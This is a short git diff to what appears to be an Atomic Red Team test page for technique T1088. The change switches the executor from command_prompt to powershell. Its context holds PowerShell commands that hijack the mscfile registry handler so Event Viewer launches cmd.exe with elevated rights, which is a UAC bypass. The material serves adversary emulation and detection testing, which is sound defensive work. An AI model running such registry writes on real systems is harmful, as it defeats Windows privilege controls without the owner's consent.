diff --git a/atomics/T1088/T1088.md b/atomics/T1088/T1088.md index 45b94964..616d14f4 100644 --- a/atomics/T1088/T1088.md +++ b/atomics/T1088/T1088.md @@ -53,7 +53,7 @@ PowerShell code to bypass User Account Control using Event Viewer and a relevant |------|-------------|------|---------------| | executable_binary | Binary to execute with UAC Bypass | path | C:\Windows\System32\cmd.exe| -#### Run it with `command_prompt`! +#### Run it with `powershell`! ``` New-Item "HKCU:\software\classes\mscfile\shell\open\command" -Force Set-ItemProperty "HKCU:\software\classes\mscfile\shell\open\command" -Name "(default)" -Value "#{executable_binary}" -Force